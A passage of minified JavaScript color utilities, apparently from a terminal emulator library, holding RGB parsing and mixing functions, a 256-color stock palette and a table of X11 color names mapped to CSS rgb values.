*/lib.colors.mix = function (base, tint, percent) { var ary1 = lib.colors.crackRGB(base); var ary2 = lib.colors.crackRGB(tint); for (var i = 0; i < 4; ++i) { var diff = ary2[i] - ary1[i]; ary1[i] = Math.round(parseInt(ary1[i]) + diff * percent); } return lib.colors.arrayToRGBA(ary1); };/**
* Split an rgb/rgba color into an array of its components.
*
* On success, a 4 element array will be returned.  For rgb values, the alpha
* will be set to 1.
*/lib.colors.crackRGB = function (color) { if (color.startsWith('rgba')) { var ary = color.match(lib.colors.re_.rgba); if (ary) { ary.shift(); return ary; } } else { var ary = color.match(lib.colors.re_.rgb); if (ary) { ary.shift(); ary.push('1'); return ary; } } console.error('Couldn\'t crack: ' + color); return null; };/**
* Convert an X11 color name into a CSS rgb(...) value.
*
* Names are stripped of spaces and converted to lowercase.  If the name is
* unknown, null is returned.
*
* This list of color name to RGB mapping is derived from the stock X11
* rgb.txt file.
*
* @param {string} name The color name to convert.
* @return {string} The corresponding CSS rgb(...) value.
*/lib.colors.nameToRGB = function (name) { if (name in lib.colors.colorNames) return lib.colors.colorNames[name]; name = name.toLowerCase(); if (name in lib.colors.colorNames) return lib.colors.colorNames[name]; name = name.replace(/\s+/g, ''); if (name in lib.colors.colorNames) return lib.colors.colorNames[name]; return null; };/**
* The stock color palette.
*/lib.colors.stockColorPalette = lib.colors.hexToRGB([// The "ANSI 16"...
'#000000', '#CC0000', '#4E9A06', '#C4A000', '#3465A4', '#75507B', '#06989A', '#D3D7CF', '#555753', '#EF2929', '#00BA13', '#FCE94F', '#729FCF', '#F200CB', '#00B5BD', '#EEEEEC',// The 6x6 color cubes...
'#000000', '#00005F', '#000087', '#0000AF', '#0000D7', '#0000FF', '#005F00', '#005F5F', '#005F87', '#005FAF', '#005FD7', '#005FFF', '#008700', '#00875F', '#008787', '#0087AF', '#0087D7', '#0087FF', '#00AF00', '#00AF5F', '#00AF87', '#00AFAF', '#00AFD7', '#00AFFF', '#00D700', '#00D75F', '#00D787', '#00D7AF', '#00D7D7', '#00D7FF', '#00FF00', '#00FF5F', '#00FF87', '#00FFAF', '#00FFD7', '#00FFFF', '#5F0000', '#5F005F', '#5F0087', '#5F00AF', '#5F00D7', '#5F00FF', '#5F5F00', '#5F5F5F', '#5F5F87', '#5F5FAF', '#5F5FD7', '#5F5FFF', '#5F8700', '#5F875F', '#5F8787', '#5F87AF', '#5F87D7', '#5F87FF', '#5FAF00', '#5FAF5F', '#5FAF87', '#5FAFAF', '#5FAFD7', '#5FAFFF', '#5FD700', '#5FD75F', '#5FD787', '#5FD7AF', '#5FD7D7', '#5FD7FF', '#5FFF00', '#5FFF5F', '#5FFF87', '#5FFFAF', '#5FFFD7', '#5FFFFF', '#870000', '#87005F', '#870087', '#8700AF', '#8700D7', '#8700FF', '#875F00', '#875F5F', '#875F87', '#875FAF', '#875FD7', '#875FFF', '#878700', '#87875F', '#878787', '#8787AF', '#8787D7', '#8787FF', '#87AF00', '#87AF5F', '#87AF87', '#87AFAF', '#87AFD7', '#87AFFF', '#87D700', '#87D75F', '#87D787', '#87D7AF', '#87D7D7', '#87D7FF', '#87FF00', '#87FF5F', '#87FF87', '#87FFAF', '#87FFD7', '#87FFFF', '#AF0000', '#AF005F', '#AF0087', '#AF00AF', '#AF00D7', '#AF00FF', '#AF5F00', '#AF5F5F', '#AF5F87', '#AF5FAF', '#AF5FD7', '#AF5FFF', '#AF8700', '#AF875F', '#AF8787', '#AF87AF', '#AF87D7', '#AF87FF', '#AFAF00', '#AFAF5F', '#AFAF87', '#AFAFAF', '#AFAFD7', '#AFAFFF', '#AFD700', '#AFD75F', '#AFD787', '#AFD7AF', '#AFD7D7', '#AFD7FF', '#AFFF00', '#AFFF5F', '#AFFF87', '#AFFFAF', '#AFFFD7', '#AFFFFF', '#D70000', '#D7005F', '#D70087', '#D700AF', '#D700D7', '#D700FF', '#D75F00', '#D75F5F', '#D75F87', '#D75FAF', '#D75FD7', '#D75FFF', '#D78700', '#D7875F', '#D78787', '#D787AF', '#D787D7', '#D787FF', '#D7AF00', '#D7AF5F', '#D7AF87', '#D7AFAF', '#D7AFD7', '#D7AFFF', '#D7D700', '#D7D75F', '#D7D787', '#D7D7AF', '#D7D7D7', '#D7D7FF', '#D7FF00', '#D7FF5F', '#D7FF87', '#D7FFAF', '#D7FFD7', '#D7FFFF', '#FF0000', '#FF005F', '#FF0087', '#FF00AF', '#FF00D7', '#FF00FF', '#FF5F00', '#FF5F5F', '#FF5F87', '#FF5FAF', '#FF5FD7', '#FF5FFF', '#FF8700', '#FF875F', '#FF8787', '#FF87AF', '#FF87D7', '#FF87FF', '#FFAF00', '#FFAF5F', '#FFAF87', '#FFAFAF', '#FFAFD7', '#FFAFFF', '#FFD700', '#FFD75F', '#FFD787', '#FFD7AF', '#FFD7D7', '#FFD7FF', '#FFFF00', '#FFFF5F', '#FFFF87', '#FFFFAF', '#FFFFD7', '#FFFFFF',// The greyscale ramp...
'#080808', '#121212', '#1C1C1C', '#262626', '#303030', '#3A3A3A', '#444444', '#4E4E4E', '#585858', '#626262', '#6C6C6C', '#767676', '#808080', '#8A8A8A', '#949494', '#9E9E9E', '#A8A8A8', '#B2B2B2', '#BCBCBC', '#C6C6C6', '#D0D0D0', '#DADADA', '#E4E4E4', '#EEEEEE']);/**
* The current color palette, possibly with user changes.
*/lib.colors.colorPalette = lib.colors.stockColorPalette;/**
* Named colors according to the stock X11 rgb.txt file.
*/lib.colors.colorNames = { "aliceblue": "rgb(240, 248, 255)", "antiquewhite": "rgb(250, 235, 215)", "antiquewhite1": "rgb(255, 239, 219)", "antiquewhite2": "rgb(238, 223, 204)", "antiquewhite3": "rgb(205, 192, 176)", "antiquewhite4": "rgb(139, 131, 120)", "aquamarine": "rgb(127, 255, 212)", "aquamarine1": "rgb(127, 255, 212)", "aquamarine2": "rgb(118, 238, 198)", "aquamarine3": "rgb(102, 205, 170)", "aquamarine4": "rgb(69, 139, 116)", "azure": "rgb(240, 255, 255)", "azure1": "rgb(240, 255, 255)", "azure2": "rgb(224, 238, 238)", "azure3": "rgb(193, 205, 205)", "azure4": "rgb(131, 139, 139)", "beige": "rgb(245, 245, 220)", "bisque": "rgb(255, 228, 196)", "bisque1": "rgb(255, 228, 196)", "bisque2": "rgb(238, 213, 183)", "bisque3": "rgb(205, 183, 158)", "bisque4": "rgb(139, 125, 107)", "black": "rgb(0, 0, 0)", "blanchedalmond": "rgb(255, 235, 205)", "blue": "rgb(0, 0, 255)", "blue1": "rgb(0, 0, 255)", "blue2": "rgb(0, 0, 238)", "blue3": "rgb(0, 0, 205)", "blue4": "rgb(0, 0, 139)", "blueviolet": "rgb(138, 43, 226)", "brown": "rgb(165, 42, 42)", "brown1": "rgb(255, 64, 64)", "brown2": "rgb(238, 59, 59)", "brown3": "rgb(205, 51, 51)", "brown4": "rgb(139, 35, 35)", "burlywood": "rgb(222, 184, 135)", "burlywood1": "rgb(255, 211, 155)", "burlywood2": "rgb(238, 197, 145)", "burlywood3": "rgb(205, 170, 125)", "burlywood4": "rgb(139, 115, 85)", "cadetblue": "rgb(95, 158, 160)", "cadetblue1": "rgb(152, 245, 255)", "cadetblue2": "rgb(142, 229, 238)", "cadetblue3": "rgb(122, 197, 205)", "cadetblue4": "rgb(83, 134, 139)", "chartreuse": "rgb(127, 255, 0)", "chartreuse1": "rgb(127, 255, 0)", "chartreuse2": "rgb(118, 238, 0)", "chartreuse3": "rgb(102, 205, 0)", "chartreuse4": "rgb(69, 139, 0)", "chocolate": "rgb(210, 105, 30)", "chocolate1": "rgb(255, 127, 36)", "chocolate2": "rgb(238, 118, 33)", "chocolate3": "rgb(205, 102, 29)", "chocolate4": "rgb(139, 69, 19)", "coral": "rgb(255, 127, 80)", "coral1": "rgb(255, 114, 86)", "coral2": "rgb(238, 106, 80)", "coral3": "rgb(205, 91, 69)", "coral4": "rgb(139, 62, 47)", "cornflowerblue": "rgb(100, 149, 237)", "cornsilk": "rgb(255, 248, 220)", "cornsilk1": "rgb(255, 248, 220)", "cornsilk2": "rgb(238, 232, 205)", "cornsilk3": "rgb(205, 200, 177)", "cornsilk4": "rgb(139, 136, 120)", "cyan": "rgb(0, 255, 255)", "cyan1": "rgb(0, 255, 255)", "cyan2": "rgb(0, 238, 238)", "cyan3": "rgb(0, 205, 205)", "cyan4": "rgb(0, 139, 139)", "darkblue": "rgb(0, 0, 139)", "darkcyan": "rgb(0, 139, 139)", "darkgoldenrod": "rgb(184, 134, 11)", "darkgoldenrod1": "rgb(255, 185, 15)", "darkgoldenrod2": "rgb(238, 173, 14)", "darkgoldenrod3": "rgb(205, 149, 12)", "darkgoldenrod4": "rgb(139, 101, 8)", "darkgray": "rgb(169, 169, 169)", "darkgreen": "rgb(0, 100, 0)", "darkgrey": "rgb(169, 169, 169)", "darkkhaki": "rgb(189, 183, 107)", "darkmagenta": "rgb(139, 0, 139)", "darkolivegreen": "rgb(85, 107, 47)", "darkolivegreen1": "rgb(202, 255, 112)", "darkolivegreen2": "rgb(188, 238, 104)", "darkolivegreen3": "rgb(162, 205, 90)", "darkolivegreen4": "rgb(110, 139, 61)", "darkorange": "rgb(255, 140, 0)", "darkorange1": "rgb(255, 127, 0)", "darkorange2": "rgb(238, 118, 0)", "darkorange3": "rgb(205, 102, 0)", "darkorange4": "rgb(139, 69, 0)", "darkorchid": "rgb(153, 50, 204)", "darkorchid1": "rgb(191, 62, 255)", "darkorchid2": "rgb(178, 58, 238)", "darkorchid3": "rgb(154, 50, 205)", "darkorchid4": "rgb(104, 34, 139)", "darkred": "rgb(139, 0, 0)", "darksalmon": "rgb(233, 150, 122)", "darkseagreen": "rgb(143, 188, 143)", "darkseagreen1": "rgb(193, 255, 193)", "darkseagreen2": "rgb(180, 238, 180)", "darkseagreen3": "rgb(155, 205, 155)", "darkseagreen4": "rgb(105, 139, 105)", "darkslateblue": "rgb(72, 61, 139)", "darkslategray": "rgb(47, 79, 79)", "darkslategray1": "rgb(151, 255, 255)", "darkslategray2": "rgb(141, 238, 238)", "darkslategray3": "rgb(121, 205, 205)", "darkslategray4": "rgb(82, 139, 139)", "darkslategrey": "rgb(47, 79, 79)", "darkturquoise": "rgb(0, 206, 209)", "darkviolet": "rgb(148, 0, 211)", "debianred": "rgb(215, 7, 81)", "deeppink": "rgb(255, 20, 147)", "deeppink1": "rgb(255, 20, 147)", "deeppink2": "rgb(238, 18, 137)", "deeppink3": "rgb(205, 16, 118)", "deeppink4": "rgb(139, 10, 80)", "deepskyblue": "rgb(0, 191, 255)", "deepskyblue1": "rgb(0, 191, 255)", "deepskyblue2": "rgb(0, 178, 238)", "deepskyblue3": "rgb(0, 154, 205)", "deepskyblue4": "rgb(0, 104, 139)", "dimgray": "rgb(105, 105, 105)", "dimgrey": "rgb(105, 105, 105)", "dodgerblue": "rgb(30, 144, 255)", "dodgerblue1": "rgb(30, 144, 255)", "dodgerblue2": "rgb(28, 134, 238)", "dodgerblue3": "rgb(24, 116, 205)", "dodgerblue4": "rgb(16, 78, 139)", "firebrick": "rgb(178, 34, 34)", "firebrick1": "rgb(255, 48, 48)", "firebrick2": "rgb(238, 44, 44)", "firebrick3": "rgb(205, 38, 38)", "firebrick4": "rgb(139, 26, 26)", "floralwhite": "rgb(255, 250, 240)", "forestgreen": "rgb(34, 139, 34)", "gainsboro": "rgb(220, 220, 220)", "ghostwhite": "rgb(248, 248, 255)", "gold": "rgb(255, 215, 0)", "gold1": "rgb(255, 215, 0)", "gold2": "rgb(238, 201, 0)", "gold3": "rgb(205, 173, 0)", "gold4": "rgb(139, 117, 0)", "goldenrod": "rgb(218, 165, 32)", "goldenrod1": "rgb(255, 193, 37)", "goldenrod2": "rgb(238, 180, 34)", "goldenrod3": "rgb(205, 155, 29)", "goldenrod4": "rgb(139, 105, 20)", "gray": "rgb(190, 190, 190)", "gray0": "rgb(0, 0, 0)", "gray1": "rgb(3, 3, 3)", "gray10": "rgb(26, 26, 26)", "gray100": "rgb(255, 255, 255)", "gray11": "rgb(28, 28, 28)", "gray12": "rgb(31, 31, 31)", "gray13": "rgb(33, 33, 33)", "gray14": "rgb(36, 36, 36)", "gray15": "rgb(38, 38, 38)", "gray16": "rgb(41, 41, 41)", "gray17": "rgb(43, 43, 43)", "gray18": "rgb(46, 46, 46)", "gray19": "rgb(48, 48, 48)", "gray2": "rgb(5, 5, 5)", "gray20": "rgb(51, 51, 51)", "gray21": "rgb(54, 54, 54)", "gray22": "rgb(56, 56, 56)", "gray23": "rgb(59, 59, 59)", "gray24": "rgb(61, 61, 61)", "gray25": "rgb(64, 64, 64)", "gray26": "rgb(66, 66, 66)", "gray27": "rgb(69, 69, 69)", "gray28": "rgb(71, 71, 71)", "gray29": "rgb(74, 74, 74)", "gray3": "rgb(8, 8, 8)", "gray30": "rgb(77, 77, 77)", "gray31": "rgb(79, 79, 79)", "gray32": "rgb(82, 82, 82)", "gray33": "rgb(84, 84, 84)", "gray34": "rgb(87, 87, 87)", "gray35": "rgb(89, 89, 89)", "gray36": "rgb(92, 92, 92)", "gray37": "rgb(94, 94, 94)", "gray38": "rgb(97, 97, 97)", "gray39": "rgb(99, 99, 99)", "gray4": "rgb(10, 10, 10)", "gray40": "rgb(102, 102, 102)", "gray41": "rgb(105, 105, 105)", "gray42": "rgb(107, 107, 107)", "gray43": "rgb(110, 110, 110)", "gray44": "rgb(112, 112, 112)", "gray45": "rgb(115, 115, 115)", "gray46": "rgb(117, 117, 117)", "gray47": "rgb(120, 120, 120)", "gray48": "rgb(122, 122, 122)", "gray49": "rgb(125, 125, 125)", "gray5": "rgb(13, 13, 13)", "gray50": "rgb(127, 127, 127)", "gray51": "rgb(130, 130, 130)", "gray52": "rgb(133, 133, 133)", "gray53": "rgb(135, 135, 135)", "gray54": "rgb(138, 138, 138)", "gray55": "rgb(140, 140, 140)", "gray56": "rgb(143, 143, 143)", "gray57": "rgb(145, 145, 145)", "gray58": "rgb(148, 148, 148)", "gray59": "rgb(150, 150, 150)", "gray6": "rgb(15, 15, 15)", "gray60": "rgb(153, 153, 153)", "gray61": "rgb(156, 156, 156)", "gray62": "rgb(158, 158, 158)", "gray63": "rgb(161, 161, 161)", "gray64": "rgb(163, 163, 163)", "gray65": "rgb(166, 166, 166)", "gray66": "rgb(168, 168, 168)", "gray67": "rgb(171, 171, 171)", "gray68": "rgb(173, 173, 173)", "gray69": "rgb(176, 176, 176)", "gray7": "rgb(18, 18, 18)", "gray70": "rgb(179, 179, 179)", "gray71": "rgb(181, 181, 181)", "gray72": "rgb(184, 184, 184)", "gray73": "rgb(186, 186, 186)", "gray74": "rgb(189, 189, 189)", "gray75": "rgb(191, 191, 191)", "gray76": "rgb(194, 194, 194)", "gray77": "rgb(196, 196, 196)", "gray78": "rgb(199, 199, 199)", "gray79": "rgb(201, 201, 201)", "gray8": "rgb(20, 20, 20)", "gray80": "rgb(204, 204, 204)", "gray81": "rgb(207, 207, 207)", "gray82": "rgb(209, 209, 209)", "gray83": "rgb(212, 212, 212)", "gray84": "rgb(214, 214, 214)", "gray85": "rgb(217, 217, 217)", "gray86": "rgb(219, 219, 219)", "gray87": "rgb(222, 222, 222)", "gray88": "rgb(224, 224, 224)", "gray89": "rgb(227, 227, 227)", "gray9": "rgb(23, 23, 23)", "gray90": "rgb(229, 229, 229)", "gray91": "rgb(232, 232, 232)", "gray92": "rgb(235, 235, 235)", "gray93": "rgb(237, 237, 237)", "gray94": "rgb(240, 240, 240)", "gray95": "rgb(242, 242, 242)", "gray96": "rgb(245, 245, 245)", "gray97": "rgb(247, 247, 247)", "gray98": "rgb(250, 250, 250)", "gray99": "rgb(252, 252, 252)", "green": "rgb(0, 255, 0)", "green1": "rgb(0, 255, 0)", "green2": "rgb(0, 238, 0)", "green3": "rgb(0, 205, 0)", "green4": "rgb(0, 139, 0)", "greenyellow": "rgb(173, 255, 47)", "grey": "rgb(190, 190, 190)", "grey0": "rgb(0, 0, 0)", "grey1": "rgb(3, 3, 3)", "grey10": "rgb(26, 26, 26)", "grey100": "rgb(255, 255, 255)", "grey11": "rgb(28, 28, 28)", "grey12": "rgb(31, 31, 31)", "grey13": "rgb(33, 33, 33)", "grey14": "rgb(36, 36, 36)", "grey15": "rgb(38, 38, 38)", "grey16": "rgb(41, 41, 41)", "grey17": "rgb(43, 43, 43)", "grey18": "rgb(46, 46, 46)", "grey19": "rgb(48, 48, 48)", "grey2": "rgb(5, 5, 5)", "grey20": "rgb(51, 51, 51)", "grey21": "rgb(54, 54, 54)", "grey22": "rgb(56, 56, 56)", "grey23": "rgb(59, 59, 59)", "grey24": "rgb(61, 61, 61)", "grey25": "rgb(64, 64, 64)", "grey26": "rgb(66, 66, 66)", "grey27": "rgb(69, 69, 69)", "grey28": "rgb(71, 71, 71)", "grey29": "rgb(74, 74, 74)", "grey3": "rgb(8, 8, 8)", "grey30": "rgb(77, 77, 77)", "grey31": "rgb(79, 79, 79)", "grey32": "rgb(82, 82, 82)", "grey33": "rgb(84, 84, 84)", "grey34": "rgb(87, 87, 87)", "grey35": "rgb(89, 89, 89)", "grey36": "rgb(92, 92, 92)", "grey37": "rgb(94, 94, 94)", "grey38": "rgb(97, 97, 97)", "grey39": "rgb(99, 99, 99)", "grey4": "rgb(10, 10, 10)", "grey40": "rgb(102, 102, 102)", "grey41": "rgb(105, 105, 105)", "grey42": "rgb(107, 107, 107)", "grey43": "rgb(110, 110, 110)", "grey44": "rgb(112, 112, 112)", "grey45": "rgb(115, 115, 115)", "grey46": "rgb(117, 117, 117)", "grey47": "rgb(120, 120, 120)", "grey48": "rgb(122, 122, 122)", "grey49": "rgb(125, 125, 125)", "grey5": "rgb(13, 13, 13)", "grey50": "rgb(127, 127, 127)", "grey51": "rgb(130, 130, 130)", "grey52": "rgb(133, 133, 133)", "grey53": "rgb(135, 135, 135)", "grey54": "rgb(138, 138, 138)", "grey55": "rgb(140, 140, 140)", "grey56": "rgb(143, 143, 143)", "grey57": "rgb(145, 145, 145)", "grey58": "rgb(148, 148, 148)", "grey59": "rgb(150, 150, 150)", "grey6": "rgb(15, 15, 15)", "grey60": "rgb(153, 153, 153)", "grey61": "rgb(156, 156, 156)", "grey62": "rgb(158, 158, 158)", "grey63": "rgb(161, 161, 161)", "grey64": "rgb(163, 163, 163)", "grey65": "rgb(166, 166, 166)", "grey66": "rgb(168, 168, 168)", "grey67": "rgb(171, 171, 171)", "grey68": "rgb(173, 173, 173)", "grey69": "rgb(176, 176, 176)", "grey7": "rgb(18, 18, 18)", "grey70": "rgb(179, 179, 179)", "grey71": "rgb(181, 181, 181)", "grey72": "rgb(184, 184, 184)", "grey73": "rgb(186, 186, 186)", "grey74": "rgb(189, 189, 189)", "grey75": "rgb(191, 191, 191)", "grey76": "rgb(194, 194, 194)", "grey77": "rgb(196, 196, 196)", "grey78": "rgb(199, 199, 199)", "grey79": "rgb(201, 201, 201)", "grey8": "rgb(20, 20, 20)", "grey80": "rgb(204, 204, 204)", "grey81": "rgb(207, 207, 207)", "grey82": "rgb(209, 209, 209)", "grey83": "rgb(212, 212, 212)", "grey84": "rgb(214, 214, 214)", "grey85": "rgb(217, 217, 217)", "grey86": "rgb(219, 219, 219)", "grey87": "rgb(222, 222, 222)", "grey88": "rgb(224, 224, 224)", "grey89": "rgb(227, 227, 227)", "grey9": "rgb(23, 23, 23)", "grey90": "rgb(229, 229, 229)", "grey91": "rgb(232, 232, 232)", "grey92": "rgb(235, 235, 235)", "grey93": "rgb(237, 237, 237)", "grey94": "rgb(240, 240, 240)", "grey95": "rgb(242, 242, 242)", "grey96": "rgb(245, 245, 245)", "grey97": "rgb(247, 247, 247)", "grey98": "rgb(250, 250, 250)", "grey99": "rgb(252, 252, 252)", "honeydew": "rgb(240, 255, 240)", "honeydew1": "rgb(240, 255, 240)", "honeydew2": "rgb(224, 238, 224)", "honeydew3": "rgb(193, 205, 193)", "honeydew4": "rgb(131, 139, 131)", "hotpink": "rgb(255, 105, 180)", "hotpink1": "rgb(255, 110, 180)", "hotpink2": "rgb(238, 106, 167)", "hotpink3": "rgb(205, 96, 144)", "hotpink4": "rgb(139, 58, 98)", "indianred": "rgb(205, 92, 92)", "indianred1": "rgb(255, 106, 106)", "indianred2": "rgb(238, 99, 99)", "indianred3": "rgb(205, 85, 85)", "indianred4": "rgb(139, 58, 58)", "ivory": "rgb(255, 255, 240)", "ivory1": "rgb(255, 255, 240)", "ivory2": "rgb(238, 238, 224)", "ivory3": "rgb(205, 205, 193)", "ivory4": "rgb(139, 139, 131)", "khaki": "rgb(240, 230, 140)", "khaki1": "rgb(255, 246, 143)", "khaki2": "rgb(238, 230, 133)", "khaki3": "rgb(205, 198, 115)", "khaki4": "rgb(139, 134, 78)", "lavender": "rgb(230, 230, 250)", "lavenderblush": "rgb(255, 240, 245)", "lavenderblush1": "rgb(255, 240, 245)", "lavenderblush2": "rgb(238, 224, 229)", "lavenderblush3": "rgb(205, 193, 197)", "lavenderblush4": "rgb(139, 131, 134)", "lawngreen": "rgb(124, 252, 0)", "lemonchiffon": "rgb(255, 250, 205)", "lemonchiffon1": "rgb(255, 250, 205)", "lemonchiffon2": "rgb(238, 233, 191)", "lemonchiffon3": "rgb(205, 201, 165)", "lemonchiffon4": "rgb(139, 137, 112)", "lightblue": "rgb(173, 216, 230)", "lightblue1": "rgb(191, 239, 255)", "lightblue2": "rgb(178, 223, 238)", "lightblue3": "rgb(154, 192, 205)", "lightblue4": "rgb(104, 131, 139)", "lightcoral": "rgb(240, 128, 128)", "lightcyan": "rgb(224, 255, 255)", "lightcyan1": "rgb(224, 255, 255)", "lightcyan2": "rgb(209, 238, 238)", "lightcyan3": "rgb(180, 205, 205)", "lightcyan4": "rgb(122, 139, 139)", "lightgoldenrod": "rgb(238, 221, 130)", "lightgoldenrod1": "rgb(255, 236, 139)", "lightgoldenrod2": "rgb(238, 220, 130)", "lightgoldenrod3": "rgb(205, 190, 112)", "lightgoldenrod4": "rgb(139, 129, 76)", "lightgoldenrodyellow": "rgb(250, 250, 210)", "lightgray": "rgb(211, 211, 211)", "lightgreen": "rgb(144, 238, 144)", "lightgrey": "rgb(211, 211, 211)", "lightpink": "rgb(255, 182, 193)", "lightpink1": "rgb(255, 174, 185)", "lightpink2": "rgb(238, 162, 173)", "lightpink3": "rgb(205, 140, 149)", "lightpink4": "rgb(139, 95, 101)", "lightsalmon": "rgb(255, 160, 122)", "lightsalmon1": "rgb(255, 160, 122)", "lightsalmon2": "rgb(238, 149, 114)", "lightsalmon3": "rgb(205, 129, 98)", "lightsalmon4": "rgb(139, 87, 66)", "lightseagreen": "rgb(32, 178, 170)", "lightskyblue": "rgb(135, 206, 250)", "lightskyblue1": "rgb(176, 226, 255)", "lightskyblue2": "rgb(164, 211, 238)", "lightskyblue3": "rgb(141, 182, 205)", "lightskyblue4": "rgb(96, 123, 139)", "lightslateblue": "rgb(132, 112, 255)", "lightslategray": "rgb(119, 136, 153)", "lightslategrey": "rgb(119, 136, 153)", "lightsteelblue": "rgb(176, 196, 222)", "lightsteelblue1": "rgb(202, 225, 255)", "lightsteelblue2": "rgb(188, 210, 238)", "lightsteelblue3": "rgb(162, 181, 205)", "lightsteelblue4": "rgb(110, 123, 139)", "lightyellow": "rgb(255, 255, 224)", "lightyellow1": "rgb(255, 255, 224)", "lightyellow2": "rgb(238, 238, 209)", "lightyellow3": "rgb(205, 205, 180)", "lightyellow4": "rgb(139, 139, 122)", "limegreen": "rgb(50, 205, 50)", "linen": "rgb(250, 240, 230)", "magenta": "rgb(255, 0, 255)", "magenta1": "rgb(255, 0, 255)", "magenta2": "rgb(238, 0, 238)", "magenta3": "rgb(205, 0, 205)", "magenta4": "rgb(139, 0, 139)", "maroon": "rgb(176, 48, 96)", "maroon1": "rgb(255, 52, 179)", "maroon2": "rgb(238, 48, 167)", "maroon3": "rgb(205, 41, 144)", "maroon4": "rgb(139, 28, 98)", "mediumaquamarine": "rgb(102, 205, 170)", "mediumblue": "rgb(0, 0, 205)", "mediumorchid": "rgb(186, 85, 211)", "mediumorchid1": "rgb(224, 102, 255)", "mediumorchid2": "rgb(209, 95, 238)", "mediumorchid3": "rgb(180, 82, 205)", "mediumorchid4": "rgb(122, 55, 139)", "mediumpurple": "rgb(147, 112, 219)", "mediumpurple1": "rgb(171, 130, 255)", "mediumpurple2": "rgb(159, 121, 238)", "mediumpurple3": "rgb(137, 104, 205)", "mediumpurple4": "rgb(93, 71, 139)", "mediumseagreen": "rgb(60, 179, 113)", "mediumslateblue": "rgb(123, 104, 238)", "mediumspringgreen": "rgb(0, 250, 154)", "mediumturquoise": "rgb(72, 209, 204)", "mediumvioletred": "rgb(199, 21, 133)", "midnightblue": "rgb(25, 25, 112)", "mintcream": "rgb(245, 255, 250)", "mistyrose": "rgb(255, 228, 225)", "mistyrose1": "rgb(255, 228, 225)", "mistyrose2": "rgb(238, 213, 210)", "mistyrose3": "rgb(205, 183, 181)", "mistyrose4": "rgb(139, 125, 123)", "moccasin": "rgb(255, 228, 181)", "navajowhite": "rgb(255, 222, 173)", "navajowhite1": "rgb(255, 222, 173)", "navajowhite2": "rgb(238, 207, 161)", "navajowhite3": "rgb(205, 179, 139)", "navajowhite4": "rgb(139, 121, 94)", "navy": "rgb(0, 0, 128)", "navyblue": "rgb(0, 0, 128)", "oldlace": "rgb(253, 245, 230)", "olivedrab": "rgb(107, 142, 35)", "olivedrab1": "rgb(192, 255, 62)", "olivedrab2": "rgb(179, 238, 58)", "olivedrab3": "rgb(154, 205, 50)", "olivedrab4": "rgb(105, 139, 34)", "orange": "rgb(255, 165, 0)", "orange1": "rgb(255, 165, 0)", "orange2": "rgb(238, 154, 0)", "orange3": "rgb(205, 133, 0)", "orange4": "rgb(139, 90, 0)", "orangered": "rgb(255, 69, 0)", "orangered1": "rgb(255, 69, 0)", "orangered2": "rgb(238, 64, 0)", "orangered3": "rgb(205, 55, 0)", "orangered4": "rgb(139, 37, 0)", "orchid": "rgb(218, 112, 214)", "orchid1": "rgb(255, 131, 250)", "orchid2": "rgb(238, 122, 233)", "orchid3": "rgb(205, 105, 201)", "orchid4": "rgb(139, 71, 137)", "palegoldenrod": "rgb(238, 232, 170)", "palegreen": "rgb(152, 251, 152)", "palegreen1": "rgb(154, 255, 154)", "palegreen2": "rgb(144, 238, 144)", "palegreen3": "rgb(124, 205, 124)", "palegreen4": "rgb(84, 139, 84)", "paleturquoise": "rgb(175, 238, 238)", "paleturquoise1": "rgb(187, 255, 255)", "paleturquoise2": "rgb(174, 238, 238)", "paleturquoise3": "rgb(150, 205, 205)", "paleturquoise4": "rgb(102, 139, 139)", "palevioletred": "rgb(219, 112, 147)", "palevioletred1": "rgb(255, 130, 171)", "palevioletred2": "rgb(238, 121, 159)", "palevioletred3": "rgb(205, 104, 137)", "palevioletred4": "rgb(139, 71, 93)", "papayawhip": "rgb(255, 239, 213)", "peachpuff": "rgb(255, 218, 185)", "peachpuff1": "rgb(255, 218, 185)", "peachpuff2": "rgb(238, 203, 173)", "peachpuff3": "rgb(205, 175, 149)", "peachpuff4": "rgb(139, 119, 101)", "peru": "rgb(205, 133, 63)", "pink": "rgb(255, 192, 203)", "pink1": "rgb(255, 181, 197)", "pink2": "rgb(238, 169, 184)", "pink3": "rgb(205, 145, 158)", "pink4": "rgb(139, 99, 108)", "plum": "rgb(221, 160, 221)", "plum1": "rgb(255, 187, 255)", "plum2": "rgb(238, 174, 238)", "plum3": "rgb(205, 150, 205)", "plum4": "rgb(139, 102, 139)", "powderblue": "rgb(176, 224, 230)", "purple": "rgb(160, 32, 240)", "purple1": "rgb(155, 48, 255)", "purple2": "rgb(145, 44, 238)", "purple3": "rgb(125, 38, 205)", "purple4": "rgb(85, 26, 139)", "red": "rgb(255, 0, 0)", "red1": "rgb(255, 0, 0)", "red2": "rgb(238, 0, 0)", "red3": "rgb(205, 0, 0)", "red4": "rgb(139, 0, 0)", "rosybrown": "rgb(188, 143, 143)", "rosybrown1": "rgb(255, 193, 193)", "rosybrown2": "rgb(238, 180, 180)", "rosybrown3": "rgb(205, 155, 155)", "rosybrown4": "rgb(139, 105, 105)", "royalblue": "rgb(65, 105, 225)", "royalblue1": "rgb(72, 118, 255)", "royalblue2": "rgb(67, 110, 238)", "royalblue3": "rgb(58, 95, 205)", "royalblue4": "rgb(39, 64, 139)", "saddlebrown": "rgb(139, 69, 19)", "salmon": "rgb(250, 128, 114)", "salmon1": "rgb(255, 140, 105)", "salmon2": "rgb(238, 130, 98)", "salmon3": "rgb(205, 112, 84)", "salmon4": "rgb(139, 76, 57)", "sandybrown": "rgb(244, 164, 96)", "seagreen": "rgb(46, 139, 87)", "seagreen1": "rgb(84, 255, 159)", "seagreen2": "rgb(78, 238, 148)", "seagreen3": "rgb(67, 205, 128)", "seagreen4": "rgb(46, 139, 87)", "seashell": "rgb(255, 245, 238)", "seashell1": "rgb(255, 245, 238)", "seashell2": "rgb(238, 229, 222)", "seashell3": "rgb(205, 197, 191)", "seashell4": "rgb(139, 134, 130)", "sienna": "rgb(160, 82, 45)", "sienna1": "rgb(255, 130, 71)", "sienna2": "rgb(238, 121, 66)", "sienna3": "rgb(205, 104, 57)", "sienna4": "rgb(139, 71, 38)", "skyblue": "rgb(135, 206, 235)", "skyblue1": "rgb(135, 206, 255)", "skyblue2": "rgb(126, 192, 238)", "skyblue3": "rgb(108, 166, 205)", "skyblue4": "rgb(74, 112, 139)", "slateblue": "rgb(106, 90, 205)", "slateblue1": "rgb(131, 111, 255)", "slateblue2": "rgb(122, 103, 238)", "slateblue3": "rgb(105, 89, 205)", "slateblue4": "rgb(71, 60, 139)", "slategray": "rgb(112, 128, 144)", "slategray1": "rgb(198, 226, 255)", "slategray2": "rgb(185, 211, 238)", "slategray3": "rgb(159, 182, 